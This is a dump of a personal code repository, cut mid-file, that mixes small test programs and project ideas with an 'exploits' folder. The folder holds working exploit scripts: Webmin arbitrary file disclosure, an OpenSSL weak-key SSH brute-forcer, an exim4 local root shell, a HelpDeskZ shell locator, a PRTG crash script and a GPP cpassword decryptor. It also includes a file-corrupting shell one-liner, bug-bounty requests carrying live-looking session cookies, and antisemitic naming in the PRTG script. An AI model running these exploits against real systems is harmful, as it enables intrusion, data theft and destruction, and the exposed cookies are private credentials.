&payload; 50 | prepare_tf(); 51 | 52 | int fd=open("/proc/bug2",O_WRONLY); 53 | write(fd,buf,sizeof(buf)); 54 | } 55 | 56 | -------------------------------------------------------------------------------- /c/strtoktest.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | int main() { 6 | char *s = "/q some string here"; 7 | int len = strlen(s); 8 | char *p = (char *) malloc(len * sizeof(char)); 9 | strcpy(p, s); 10 | p += 3; 11 | 12 | char *uname = strtok(p, " "); 13 | printf("%s\n", uname); 14 | char *msg = strtok(NULL, "\0"); 15 | printf("%s\n", msg); 16 | 17 | } 18 | -------------------------------------------------------------------------------- /c/sttest: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/icyphox/asdf/151b63d2de5bf911445253cc6406d03d10ebcf5e/c/sttest -------------------------------------------------------------------------------- /c/stttest: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/icyphox/asdf/151b63d2de5bf911445253cc6406d03d10ebcf5e/c/stttest -------------------------------------------------------------------------------- /c/syscall_test.txt: -------------------------------------------------------------------------------- 1 | lmao weed 2 | new line 3 | eof after this 4 | -------------------------------------------------------------------------------- /c/test.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | int add(int a, int b) { 4 | int result; 5 | result = a + b; 6 | return result; 7 | } 8 | 9 | int main() { 10 | int a = 4; 11 | int b = 5; 12 | int r = add(a, b); 13 | 14 | return 0; 15 | } 16 | -------------------------------------------------------------------------------- /c/x.py: -------------------------------------------------------------------------------- 1 | import struct 2 | import socket 3 | 4 | s = socket.socket() 5 | s.connect(("127.0.0.1", 1337)) 6 | r = s.recv(1024) 7 | print(r) 8 | -------------------------------------------------------------------------------- /c/xfttest/Makefile: -------------------------------------------------------------------------------- 1 | CC=gcc 2 | CFLAGS=-std=c99 -pedantic -Wall 3 | XFT_CFLAGS=$(shell pkg-config --cflags freetype2) 4 | LDFLAGS=-lX11 5 | XFT_LDFLAGS=$(shell pkg-config --libs freetype2) -lXft 6 | 7 | main: xftest.c 8 | $(CC) $(CFLAGS) $(XFT_CFLAGS) $(LDFLAGS) $(XFT_LDFLAGS) xftest.c -o xftest 9 | 10 | clean: 11 | rm -f xftest 12 | -------------------------------------------------------------------------------- /c/xfttest/xftest: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/icyphox/asdf/151b63d2de5bf911445253cc6406d03d10ebcf5e/c/xfttest/xftest -------------------------------------------------------------------------------- /c/xfttest/xftest.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | static void die(const char *msg) 4 | { 5 | fprintf(stderr, "%s", msg); 6 | exit(1); 7 | } 8 | 9 | int main() 10 | { 11 | Display *dpy; 12 | int scr; 13 | Visual *visual; 14 | Colormap cmap; 15 | Window win; 16 | XftFont *font; 17 | const char *fontname = "Roboto Mono:style=Medium:size=14:antialias=true"; 18 | XftDraw *draw; 19 | XftColor color; 20 | 21 | /* Initialization. */ 22 | dpy = XOpenDisplay(NULL); 23 | if (!dpy) 24 | die("cannot open X11 display\n"); 25 | scr = DefaultScreen(dpy); 26 | visual = DefaultVisual(dpy, scr); 27 | cmap = DefaultColormap(dpy, scr); 28 | 29 | /* Window. */ 30 | win = XCreateSimpleWindow(dpy, RootWindow(dpy, scr), 100, 100, 200, 100, 1, BlackPixel(dpy, scr), WhitePixel(dpy, scr)); 31 | XSelectInput(dpy, win, ExposureMask); 32 | XMapWindow(dpy, win); 33 | 34 | /* Xft. */ 35 | font = XftFontOpenName(dpy, scr, fontname); 36 | if (!font) 37 | die("cannot load font\n"); 38 | if (!XftColorAllocName(dpy, visual, cmap, "#0000ee", &color)) 39 | die("cannot allocate xft color\n"); 40 | draw = XftDrawCreate(dpy, win, visual, cmap); 41 | 42 | while(1) { 43 | XEvent ev; 44 | 45 | XNextEvent(dpy, &ev); 46 | if (ev.type == Expose) 47 | XftDrawStringUtf8(draw, &color, font, 50, 50, (const FcChar8 *)"Test!", 10); 48 | } 49 | 50 | /* Cleanup. Not necessary, only for the sake of completeness. */ 51 | XftColorFree(dpy, visual, cmap, &color); 52 | XftDrawDestroy(draw); 53 | XDestroyWindow(dpy, win); 54 | XCloseDisplay(dpy); 55 | } 56 | 57 | -------------------------------------------------------------------------------- /cli/cli.md: -------------------------------------------------------------------------------- 1 | # some cool cli stuff 2 | 3 | ### digitally shred half an image after it is opened 4 | `inotifywait -e open art.jpg && s=$(stat -c %s art.jpg );h=$(($s/2));r=$((s-h)); dd if=/dev/urandom | grep -a -o -P "[\x01-\xD0]" | tr -d $'\n' | dd of=art.jpg bs=1 seek=$h count=$r` 5 | 6 | ### flip a table when command ends with non-zero exit 7 | `PROMPT_COMMAND='[ $? -eq 0 ] || printf "(╯°□°)╯︵ ┻━┻\n"'` 8 | -------------------------------------------------------------------------------- /exploits/2017.pl: -------------------------------------------------------------------------------- 1 | #!/usr/bin/perl 2 | # Exploit for WEBMIN and USERMIN less than 1.29x 3 | # ARBITARY REMOTE FILE DISCLOSURE 4 | # WORKS FOR HTTP AND HTTPS (NOW) 5 | # Thrusday 13th July 2006 6 | # Vulnerability Disclosure at securitydot.net 7 | # Coded by UmZ! umz32.dll _at_ gmail.com 8 | # 9 | # 10 | # 11 | # Make sure you have LWP before using this exploit. 12 | # USE IT AT YOUR OWN RISK 13 | # 14 | # GREETS to wiseguy, Anonymous Individual, Uquali......Jhant... Fakhru... etc........................ 15 | # for other.. like AHMED n FAIZ ... (GET A LIFE MAN). 16 | 17 | 18 | 19 | # Revised on Friday 14th July 2006 20 | use LWP::Simple; 21 | use LWP::UserAgent; 22 | my $userag = LWP::UserAgent->new; 23 | 24 | if (@ARGV < 4) { 25 | print("Usage: $0 \n"); 26 | print("TARGETS are\n "); 27 | print("0 - > HTTP \n"); 28 | print(" 1 - > HTTPS\n"); 29 | print("Define full path with file name \n"); 30 | print("Example: ./webmin.pl blah.com 10000 /etc/passwd\n"); 31 | exit(1); 32 | } 33 | 34 | ($target, $port,$filename, $tar) = @ARGV; 35 | 36 | print("WEBMIN EXPLOIT !!!!! coded by UmZ!\n"); 37 | print("Comments and Suggestions are welcome at umz32.dll [at] gmail.com\n"); 38 | print("Vulnerability disclose at securitydot.net\nI am just coding it in perl 'cuz I hate PHP!\n"); 39 | print("Attacking $target on port $port!\n"); 40 | print("FILENAME: $filename\n"); 41 | 42 | 43 | $temp="/..%01" x 40; 44 | 45 | if ($tar == '0') 46 | { my $url= "http://". $target. ":" . $port ."/unauthenticated/".$temp . $filename; 47 | $content=get $url; 48 | 49 | print("\n FILE CONTENT STARTED"); 50 | print("\n -----------------------------------\n"); 51 | 52 | print("$content"); 53 | print("\n -------------------------------------\n"); 54 | } 55 | 56 | 57 | elsif ($tar == '1') 58 | { 59 | my $url= "https://". $target. ":" . $port ."/unauthenticated/".$temp . $filename; 60 | my $req = HTTP::Request->new(GET => $url); 61 | my $res = $userag->request($req); 62 | if ($res->is_success) { 63 | print("FILE CONTENT STARTED\n"); 64 | print("-------------------------------------------\n"); 65 | print $res->as_string; 66 | print("-------------------------------------------\n"); 67 | } 68 | else { 69 | print "Failed: ", $res->status_line, "\n"; 70 | } 71 | } 72 | 73 | # milw0rm.com [2006-07-15] -------------------------------------------------------------------------------- /exploits/5720.py: -------------------------------------------------------------------------------- 1 | #!/bin/python 2 | # This program is free software; you can redistribute it and/or modify 3 | # it under the terms of the GNU General Public License as published by 4 | # the Free Software Foundation; either version 2 of the License, or 5 | # (at your option) any later version. 6 | # 7 | # This program is distributed in the hope that it will be useful, 8 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 9 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 10 | # GNU General Public License for more details. 11 | # 12 | # You should have received a copy of the GNU General Public License 13 | # along with this program; if not, write to the Free Software 14 | # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, 15 | # MA 02110-1301, USA. 16 | ############################################################################ 17 | # Autor: hitz - WarCat team (warcat.no-ip.org) 18 | # Collaborator: pretoriano 19 | # 20 | # 1. Download https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/5622.tar.bz2 (debian_ssh_rsa_2048_x86.tar.bz2) 21 | # 22 | # 2. Extract it to a directory 23 | # 24 | # 3. Execute the python script 25 | # - something like: python exploit.py /home/hitz/keys 192.168.1.240 root 22 5 26 | # - execute: python exploit.py (without parameters) to display the help 27 | # - if the key is found, the script shows something like that: 28 | # Key Found in file: ba7a6b3be3dac7dcd359w20b4afd5143-1121 29 | # Execute: ssh -lroot -p22 -i /home/hitz/keys/ba7a6b3be3dac7dcd359w20b4afd5143-1121 192.168.1.240 30 | ############################################################################ 31 | 32 | 33 | import Queue 34 | import os 35 | import string 36 | import time 37 | from threading import Thread 38 | import sys 39 | 40 | #This class only has a boolean, which will be True if some thread find the key 41 | class End(): 42 | def __init__(self): 43 | self.end = False 44 | 45 | def Finish(self): 46 | self.end = True 47 | 48 | def GetEnd(self): 49 | return self.end 50 | 51 | 52 | #This is the thread class 53 | class Connection(Thread): 54 | def __init__(self,QueueDir,TheEnd,dir,host,user,port='22'): 55 | Thread.__init__(self) 56 | self.QueueDir = QueueDir 57 | self.TheEnd = TheEnd 58 | self.dir = dir 59 | self.host = host 60 | self.user = user 61 | self.port = port 62 | 63 | def run(self): 64 | while (not self.TheEnd.GetEnd()) and (not self.QueueDir.empty()): 65 | key = self.QueueDir.get() 66 | 67 | cmd = 'ssh -l ' + self.user 68 | cmd = cmd + ' -p ' + self.port 69 | cmd = cmd + ' -o PasswordAuthentication=no' 70 | cmd = cmd + ' -i ' + self.dir + '/' + key 71 | cmd = cmd + ' ' + self.host + ' exit; echo $?' 72 | 73 | pin,pout,perr = os.popen3(cmd, 'r') 74 | pin.close() 75 | 76 | #To debug descoment the next line. This will show the errors reported by ssh 77 | #print perr.read() 78 | 79 | if pout.read().lstrip().rstrip() == '0': 80 | self.TheEnd.Finish() 81 | print '' 82 | print 'Key Found in file: '+ key 83 | print 'Execute: ssh -l%s -p%s -i %s/%s %s' %(self.user,self.port,self.dir,key,self.host) 84 | print '' 85 | 86 | print '\n-OpenSSL Debian exploit- by ||WarCat team|| warcat.no-ip.org' 87 | 88 | if len(sys.argv) < 4: 89 | print './exploit.py [[port] [threads]]' 90 | print ' : Path to SSH privatekeys (ex. /home/john/keys) without final slash' 91 | print ' : The victim host' 92 | print ' : The user of the victim host' 93 | print ' [port]: The SSH port of the victim host (default 22)' 94 | print ' [threads]: Number of threads (default 4) Too big numer is bad' 95 | 96 | sys.exit(1) 97 | 98 | dir = sys.argv[1] 99 | host = sys.argv[2] 100 | user = sys.argv[3] 101 | 102 | if len(sys.argv) <= 4: 103 | port='22' 104 | threads=4 105 | else: 106 | if len(sys.argv) <=5: 107 | port=sys.argv[4] 108 | threads = 4 109 | 110 | else: 111 | port=sys.argv[4] 112 | threads = sys.argv[5] 113 | 114 | ListDir = os.listdir(dir) 115 | QueueDir=Queue.Queue() 116 | TheEnd = End() 117 | 118 | for i in range(len(ListDir)): 119 | if ListDir[i].find('.pub') == -1: 120 | QueueDir.put(ListDir[i]) 121 | 122 | initsize = QueueDir.qsize() 123 | tested = 0 124 | 125 | for i in range(0,int(threads)): 126 | Connection(QueueDir,TheEnd,dir,host,user,port).start() 127 | 128 | 129 | while (not TheEnd.GetEnd()) and (not QueueDir.empty()): 130 | time.sleep(5) 131 | actsize = QueueDir.qsize() 132 | speed = (initsize - tested - actsize)/5 133 | tested = initsize - actsize 134 | 135 | print 'Tested %i keys | Remaining %i keys | Aprox. Speed %i/sec' %(tested,actsize,speed) 136 | 137 | # milw0rm.com [2008-06-01] -------------------------------------------------------------------------------- /exploits/decrypt_cpassword.rb: -------------------------------------------------------------------------------- 1 | require 'rubygems' 2 | require 'openssl' 3 | require 'base64' 4 | 5 | encrypted_data = "edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ" 6 | 7 | def decrypt(encrypted_data) 8 | padding = "=" * (4 - (encrypted_data.length % 4)) 9 | epassword = "#{encrypted_data}#{padding}" 10 | decoded = Base64.decode64(epassword) 11 | 12 | key = "\x4e\x99\x06\xe8\xfc\xb6\x6c\xc9\xfa\xf4\x93\x10\x62\ 13 | x0f\xfe\xe8\xf4\x96\xe8\x06\xcc\x05\x79\x90\x20\x9b\x09\xa4\ 14 | x33\xb6\x6c\x1b" 15 | aes = OpenSSL::Cipher::Cipher.new("AES-256-CBC") 16 | aes.decrypt 17 | aes.key = key 18 | plaintext = aes.update(decoded) 19 | plaintext << aes.final 20 | pass = plaintext.unpack('v*').pack('C*') # UNICODE conversion 21 | 22 | return pass 23 | end 24 | 25 | blah = decrypt(encrypted_data) 26 | puts blah 27 | -------------------------------------------------------------------------------- /exploits/exim4.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | cat > /tmp/root.pm << EOF 4 | package root; 5 | use strict; 6 | use warnings; 7 | 8 | system("/bin/sh"); 9 | EOF 10 | PERL5LIB=/tmp PERL5OPT=-Mroot /usr/sbin/exim4 -ps 11 | -------------------------------------------------------------------------------- /exploits/hz.py: -------------------------------------------------------------------------------- 1 | import hashlib 2 | import time 3 | import sys 4 | import requests 5 | import pytz 6 | 7 | print 'Helpdeskz v1.0.2 - Unauthenticated shell upload exploit' 8 | 9 | if len(sys.argv) < 3: 10 | print "Usage: {} [baseUrl] [nameOfUploadedFile]".format(sys.argv[0]) 11 | sys.exit(1) 12 | 13 | helpdeskzBaseUrl = sys.argv[1] 14 | fileName = sys.argv[2] 15 | 16 | currentTime = int(time.time()) 17 | print(currentTime) 18 | 19 | for x in range(0, 300): 20 | plaintext = fileName + str(currentTime - x) 21 | md5hash = hashlib.md5(plaintext).hexdigest() 22 | 23 | url = helpdeskzBaseUrl+md5hash+'.txt' 24 | response = requests.head(url) 25 | print(url) 26 | if response.status_code == 200: 27 | print "found!" 28 | print url 29 | sys.exit(0) 30 | 31 | print "Sorry, I did not find anything" 32 | -------------------------------------------------------------------------------- /exploits/prtg.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | import requests 4 | import sys 5 | import os 6 | import re 7 | import socket 8 | 9 | green = "\033[1;32m" 10 | yellow = '\033[1;33m' 11 | normal = '\033[0;0m' 12 | banner = """ 13 | ██╗███████╗██╗ ██╗██╗███████╗██╗ ██╗ ███╗ ██╗ █████╗ ██████╗ █████╗ ██╗ ███╗ ███╗ 14 | ██║██╔════╝██║ ██║██║██╔════╝██║ ██║ ████╗ ██║██╔══██╗██╔══██╗██╔══██╗██║ ████╗ ████║ 15 | ██║█████╗ ██║ █╗ ██║██║███████╗███████║ ██╔██╗ ██║███████║██████╔╝███████║██║ ██╔████╔██║ 16 | ██ ██║██╔══╝ ██║███╗██║██║╚════██║██╔══██║ ██║╚██╗██║██╔══██║██╔═══╝ ██╔══██║██║ ██║╚██╔╝██║ 17 | ╚█████╔╝███████╗╚███╔███╔╝██║███████║██║ ██║ ██║ ╚████║██║ ██║██║ ██║ ██║███████╗██║ ╚═╝ ██║ 18 | ╚════╝ ╚══════╝ ╚══╝╚══╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╚═╝ ╚═══╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ 19 | """ 20 | 21 | 22 | banner2 = """ 23 | Author: @Lucas "luriel" Carmo 24 | """ 25 | 26 | os.system('clear') 27 | 28 | print(green+banner) 29 | print(yellow+banner2) 30 | print(normal) 31 | 32 | def check_http(url): 33 | pattern = re.compile("http://") 34 | return re.search(pattern, url) 35 | 36 | def sanitize_url(url): 37 | if(not check_http(url)): 38 | return "http://" + url 39 | return url 40 | 41 | def check_server(url): 42 | r = requests.get(url, timeout=4) 43 | code = r.status_code 44 | 45 | def send_jewish_payload(url): 46 | payload = {'file':'addmap.htm'} 47 | r = requests.post(url, params=payload) 48 | 49 | def main(): 50 | try: 51 | if len(sys.argv) <= 3 and len (sys.argv) >= 2: 52 | try: 53 | url = sanitize_url(sys.argv[1]) 54 | print(' [#] LOADING!') 55 | if (check_server(url) != 404): 56 | send_jewish_payload(url) 57 | else: 58 | print(' [!] Server shutdown or not found') 59 | except requests.exceptions.ConnectionError: 60 | print(' [~] BOOOOOM! PRTG Server has been exploded!') 61 | except requests.exceptions.InvalidURL: 62 | print(' [!] Invalid URL') 63 | except requests.exceptions.Timeout: 64 | print(' [!] Connection Timeout\n') 65 | else: 66 | print('Example usage: ./'+sys.argv[0]+' http://192.168.0.10/index.htm') 67 | except KeyboardInterrupt: 68 | print(' [!] Jewish Napalm Canceled;.....[./]') 69 | if __name__ == '__main__': 70 | main() 71 | 72 | -------------------------------------------------------------------------------- /exploits/redox/req.txt: -------------------------------------------------------------------------------- 1 | POST /messenger/web/conversations/unread HTTP/1.1 2 | 3 | Host: api-iam.intercom.io 4 | 5 | User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:65.0) Gecko/20100101 Firefox/65.0 6 | 7 | Accept: */* 8 | 9 | Accept-Language: en-US,en;q=0.5 10 | 11 | Accept-Encoding: gzip, deflate 12 | 13 | Referer: https://10x.redoxengine.com/ 14 | 15 | Content-Type: application/x-www-form-urlencoded 16 | 17 | Content-Length: 472 18 | 19 | Origin: https://10x.redoxengine.com 20 | 21 | Connection: close 22 | 23 | 24 | 25 | app_id=mbg1dphx&v=3&g=250da5e48a6e5b13fd505dd2fab14528c575aca4&s=1287a512-caa7-4710-a818-e7a571e9671d&i=&r=&platform=web&Idempotency-Key=00d8d723286b7e37&user_data=%7B%22email%22%3A%22icyph0x%40pm.me%22%7D&internal=&referer=https%3A%2F%2F10x.redoxengine.com%2F%23%2Fdashboard%2Forganizations&anonymous_session=L2kvTHJVWUFmYk1oYUZqTG95citIY3dwTHJGNTlhNHhIZDM1Z1YxeUVnampwdUxtTXdHRi9nWnljNmFrek14NC0tQm1WRjgreWpSV1VMbjJtM21UYUV1Zz09--dbbc2fc2587f5bde41c54ee42598598d1122f491 26 | -------------------------------------------------------------------------------- /exploits/ta/notes: -------------------------------------------------------------------------------- 1 | myid = D003A02C1BADDA0A3908B62335797E2C 2 | hisid = E1BE7D5B230A1F45357F5BAEFDB90907 3 | -------------------------------------------------------------------------------- /exploits/ta/report.md: -------------------------------------------------------------------------------- 1 | # Profanity check bypass in photo upload 2 | 3 | The description box in the “Post photos” activity checks for profanity and doesn’t let you post if your description contains any offensive words. This can be bypassed by intercepting the request where the check happens, changing the parameter to contain no profane language, and then proceed. The actual request containing the profane text remains intact and is sent to the server. 4 | 5 | In the HTTP request below, in the `texts` parameter the word `fucks` was replaced with `heavens`, and then submitted. 6 | -------------------------------------------------------------------------------- /exploits/ta/req1.txt: -------------------------------------------------------------------------------- 1 | POST /data/graphql/batched HTTP/1.1 2 | 3 | Host: www.tripadvisor.in 4 | 5 | User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:65.0) Gecko/20100101 Firefox/65.0 6 | 7 | Accept: */* 8 | 9 | Accept-Language: en-US,en;q=0.5 10 | 11 | Accept-Encoding: gzip, deflate 12 | 13 | Referer: https://www.tripadvisor.in/Profile/icyphox?tab=activity&fid=9ea24b7d-23d9-46be-8797-04e412adaf04 14 | 15 | content-type: application/json 16 | 17 | x-requested-by: TNI1625!AOr7flE0GMIpmpZS2Es/mHn8JgB45pKf4YL/97TfP0xFeV7a/vz+zkC9aVbqRENTS0nltIsMpaZenToFj4uVpGQU8zq5UQYp1E48pqXJh2NjYyW9bSBU3oziX/Oe7Nmypvsqxk8ofu2JyQC4ODc0gvVQk5H/haVdzrl/XCcwRaov 18 | 19 | Origin: https://www.tripadvisor.in 20 | 21 | Content-Length: 280 22 | 23 | Connection: close 24 | 25 | Cookie: VRMCID=%1%V1*id.12082*llp.%2FHotel_Review-g33009-d240323-Reviews-Tripster_Inn-San_Bernardino_California-m12082*e.1552638247768; TAUnique=%1%enc%3Acc1mqv3iXLFoMYTLHB2soKNzY9wdDxHvbDoEoYlqSK01QsIvfKZfHg%3D%3D; TASSK=enc%3AAEjZT0nCNxCggl62r2I%2FiwzvHpKPKCbHLvc1ZEUXfb9s%2F%2B3JaLb%2BX2BpJ2%2B%2FuBVrv2bQN2F%2FzKx1S28x9aLmQR9DT934dmkAxGtJGb1%2B7pYDUbYAMW9JmcOFqCcM1f8dmg%3D%3D; PAC=AO51z2u5FzigjlFz-lf_4zktulxyumkPcA9BER1DhBOPtVd7KXcnLPibqiSXOVJEjfcx3mxOLQonsPiXCcGNshIa0ApBTLzZq86NVDg8NULL5eh3X5ffM9BV8INg-dlseBxWCxhh_mBLv98HSHBOKDWyz6_a2ZpHjALkh8FELxWYGGdzPLd_e1U_TTP8D66QBMjKkqSPYYzAVUduG77r_wBuUgk1DzzXzC7XpADaERo6op8TkctTVsC9c9X7FeDrDw%3D%3D; PMC=V2*MS.76*MD.20190307*LD.20190308; CM=%1%PremiumMobSess%2C%2C-1%7Ct4b-pc%2C%2C-1%7CRestAds%2FRPers%2C%2C-1%7CRCPers%2C%2C-1%7CWShadeSeen%2C%2C-1%7CTheForkMCCPers%2C%2C-1%7CHomeASess%2C1%2C-1%7CPremiumSURPers%2C%2C-1%7Ctvsess%2C1%2C-1%7CPremiumMCSess%2C%2C-1%7CRestPartSess%2C%2C-1%7CUVOwnersSess%2C%2C-1%7CCCUVOwnPers%2C%2C-1%7CRestPremRSess%2C%2C-1%7CCCSess%2C%2C-1%7CPremRetPers%2C%2C-1%7CViatorMCPers%2C%2C-1%7Csesssticker%2C%2C-1%7CPremiumORSess%2C%2C-1%7Ct4b-sc%2C%2C-1%7CRestAdsPers%2C%2C-1%7CMC_IB_UPSELL_IB_LOGOS2%2C%2C-1%7Cb2bmcpers%2C%2C-1%7CPremMCBtmSess%2C%2C-1%7CPremiumSURSess%2C%2C-1%7CMC_IB_UPSELL_IB_LOGOS%2C%2C-1%7CLaFourchette+Banners%2C%2C-1%7Csess_rev%2C%2C-1%7Csessamex%2C%2C-1%7CPremiumRRSess%2C%2C-1%7CTADORSess%2C%2C-1%7CAdsRetPers%2C%2C-1%7CTARSWBPers%2C%2C-1%7CSPMCSess%2C%2C-1%7CTheForkORSess%2C%2C-1%7CTheForkRRSess%2C%2C-1%7Cpers_rev%2C%2C-1%7CSPMCWBPers%2C%2C-1%7CRBAPers%2C%2C-1%7CRestAds%2FRSess%2C%2C-1%7CHomeAPers%2C%2C-1%7CPremiumMobPers%2C%2C-1%7CRCSess%2C%2C-1%7CLaFourchette+MC+Banners%2C%2C-1%7CRestAdsCCSess%2C%2C-1%7CRestPartPers%2C%2C-1%7CRestPremRPers%2C%2C-1%7CCCUVOwnSess%2C%2C-1%7CUVOwnersPers%2C%2C-1%7Csh%2C%2C-1%7Cpssamex%2C%2C-1%7CTheForkMCCSess%2C%2C-1%7CCCPers%2C%2C-1%7Ctvpers%2C%2C-1%7Cb2bmcsess%2C%2C-1%7CSPMCPers%2C%2C-1%7CPremRetSess%2C%2C-1%7CViatorMCSess%2C%2C-1%7CPremiumMCPers%2C%2C-1%7CAdsRetSess%2C%2C-1%7CPremiumRRPers%2C%2C-1%7CRestAdsCCPers%2C%2C-1%7CTADORPers%2C%2C-1%7CTheForkORPers%2C%2C-1%7CPremMCBtmPers%2C%2C-1%7CTheForkRRPers%2C%2C-1%7CTARSWBSess%2C%2C-1%7CPremiumORPers%2C%2C-1%7CRestAdsSess%2C%2C-1%7CRBASess%2C%2C-1%7CSPORPers%2C%2C-1%7Cperssticker%2C%2C-1%7CSPMCWBSess%2C%2C-1%7C; TAPD=tripadvisor.in; TART=%1%enc%3AtZN%2FXM6N6jdpn3WmxFZHgbQnjOY8aUcF3SpJxPSnW3HFe0CMpTNlMKYtzanAQbc7jQN%2FUYimiso%3D; TATravelInfo=V2*AY.2019*AM.3*AD.17*DY.2019*DM.3*DD.18*A.2*MG.-1*HP.2*FL.3*DSM.1552035738838*RS.1; TAUD=LA-1551977498292-1*RDD-5-2019_03_07*HDD-6-2019_03_17.2019_03_18.1*LD-59067541-2019.3.17.2019.3.18*LG-59067543-2.1.F.; TASession=%1%V2ID.D3F55E5B70974A709087F977F14B4AAE*SQ.72*PR.40489%7CDESKTOP*LS.PhotoUpload*GR.38*TCPAR.97*TBR.1*EXEX.89*ABTR.63*PHTB.59*FS.61*CPU.78*HS.recommended*ES.popularity*DS.5*SAS.popularity*FPS.oldFirst*TS.D003A02C1BADDA0A3908B62335797E2C*LF.en*FA.1*DF.0*IR.3*OD.en_US*TRA.false*LD.14194486; ServerPool=B; TAReturnTo=%1%%2FProfile%2Ficyphox; roybatty=TNI1625!ANknU3kEmIOcrbRpKYbcwthyMpVKykdNaFmdBDzqqZzNCruAUxetb%2FK%2Bxj3Xkvq8cU4HpOGE63Nq7Qljqk8mKMxlIdOTH7QxT1dbPG%2B5CL99AlCHFwJGOv%2BcqKWVIXX0UQZI577kyfJVf5PUKZaXOjuJKfqU3JXjIbbZECIV6Lbw%2C1; G_ENABLED_IDPS=google; G_AUTHUSER_H=0; SecureLogin2=3.4%3AANBUBir40Gi8hSZWk7p3IEYW5pVCd%2BRcW97PeEybOQnkf8IwV5WEspNpMTOxKpbCBrGqdE4qyaCKOwtTv2p1VtdvXzrcqYBXR%2Bo0q1NYvF6%2BRRcCvAZDs%2BTfy5GfjU71749PIcFudzqshWPpg6mmC7WdZv%2F%2FYUfeiCepDpcMPHzZmazZ9lJR8UEC8lhbwqwl7pE4mln3R94b2YSmLLzpLwA%3D; TAAuth3=3%3A6bc7d25a1b853f785db29768b270354d%3AAMZctp1i7NUQNICbSR26lLOSmnsKBy34Ykr2W0zO1HNxT3%2B%2BobpkKYJaSisBkFDm9jTQAFkYNBYbeaXQ3bA9Da42nfOWtydKBMG72ghS9OmgfkCOzl0WCCwk6ua38HtgSy9jZdsAuSWgvuwEsCvfVD1A6adWIlZxU%2Bw1sOokVfYwlgOsqkV2J%2Bc2RtR1btYrgQ%3D%3D 26 | 27 | 28 | 29 | [{"operationName":"Moderate","variables":{"texts":["stop making me swear, for heavens sake"],"checks":["PROFANITY"]},"query":"query Moderate($texts: [String!]!, $checks: [String!]!) {\n moderate(texts: $texts, checks: $checks) {\n check\n present\n __typename\n }\n}\n"}] 30 | -------------------------------------------------------------------------------- /exploits/ta/req2.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/icyphox/asdf/151b63d2de5bf911445253cc6406d03d10ebcf5e/exploits/ta/req2.txt -------------------------------------------------------------------------------- /go/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | ) 6 | 7 | func main() (){ 8 | fmt.Println(test()) 9 | } 10 | 11 | func test() (string){ 12 | return "lmao" 13 | } 14 | -------------------------------------------------------------------------------- /ideas/cli-alarm.md: -------------------------------------------------------------------------------- 1 | # cli-alarm 2 | 3 | a simple commandline interface to quickly set alarms, possibly using a cronjob. 4 | 5 | ### examples 6 | 7 | ``` 8 | $ alarm -s 1730 9 | alarm set for 9 hrs and 17 min from now 10 | 11 | $ alarm -s 430 --repeat sat sun 12 | 13 | $ alarm -l 14 | 1. 1730 - 9 hrs and 17 min from now 15 | 2. 430 - saturday, sunday 16 | 17 | $ alarm -d 1 18 | REMOVED: 1730 - everyday 19 | ``` 20 | ### existing stuff 21 | `at(1)` is something like this, i guess 22 | -------------------------------------------------------------------------------- /ideas/icy-css.md: -------------------------------------------------------------------------------- 1 | # icy css 2 | 3 | create a drop-in, no class CSS that achieves the theme i use on my website. 4 | something like sakura. 5 | -------------------------------------------------------------------------------- /ideas/markdown-powered-taskrunner.md: -------------------------------------------------------------------------------- 1 | # markdown powered task runner 2 | 3 | have a program that parses markdown, and extracts tasks from it and executes it. 4 | tasks can be defined like so: 5 | 6 | ```markdown 7 | # task1 8 | - run something 9 | - run another thing 10 | 11 | # task2 12 | - run more things 13 | ``` 14 | 15 | 16 | -------------------------------------------------------------------------------- /ideas/python-embedded-templating.md: -------------------------------------------------------------------------------- 1 | ## embed python in html 2 | 3 | something like https://github.com/circuitandcode/contate except with python. allows for some really cool templating, but could lead to some weird output too. 4 | -------------------------------------------------------------------------------- /ideas/short-story-reader.md: -------------------------------------------------------------------------------- 1 | # short story reader 2 | 3 | have a program that fetches stories from websites and display them in a clean unobtrusive interface. 4 | 5 | the reader will have the following features: 6 | - bookmarks 7 | - night mode 8 | - genre 9 | - story duration 10 | -------------------------------------------------------------------------------- /js/bot.js: -------------------------------------------------------------------------------- 1 | // See https://github.com/dialogflow/dialogflow-fulfillment-nodejs 2 | // for Dialogflow fulfillment library docs, samples, and to report issues 3 | 'use strict'; 4 | 5 | const functions = require('firebase-functions'); 6 | const {WebhookClient} = require('dialogflow-fulfillment'); 7 | const {Card, Suggestion} = require('dialogflow-fulfillment'); 8 | 9 | // initialize DB connection 10 | const admin = require('firebase-admin'); 11 | admin.initializeApp() 12 | 13 | process.env.DEBUG = 'dialogflow:debug'; // enables lib debugging statements 14 | 15 | exports.dialogflowFirebaseFulfillment = functions.https.onRequest((request, response) => { 16 | const agent = new WebhookClient({ request, response }); 17 | console.log('Dialogflow Request headers: ' + JSON.stringify(request.headers)); 18 | console.log('Dialogflow Request body: ' + JSON.stringify(request.body)); 19 | 20 | function welcome(agent) { 21 | agent.add(`Welcome to my agent!`); 22 | } 23 | 24 | function fallback(agent) { 25 | agent.add(`I didn't understand`); 26 | agent.add(`I'm sorry, can you try again?`); 27 | } 28 | 29 | function eventinfo(agent) { 30 | var type = request.body.queryResult.parameters['event_type']; 31 | var count = request.body.queryResult.parameters['event_count']; 32 | var coordinatorName = request.body.queryResult.parameters['coordinator_name']; 33 | var date = 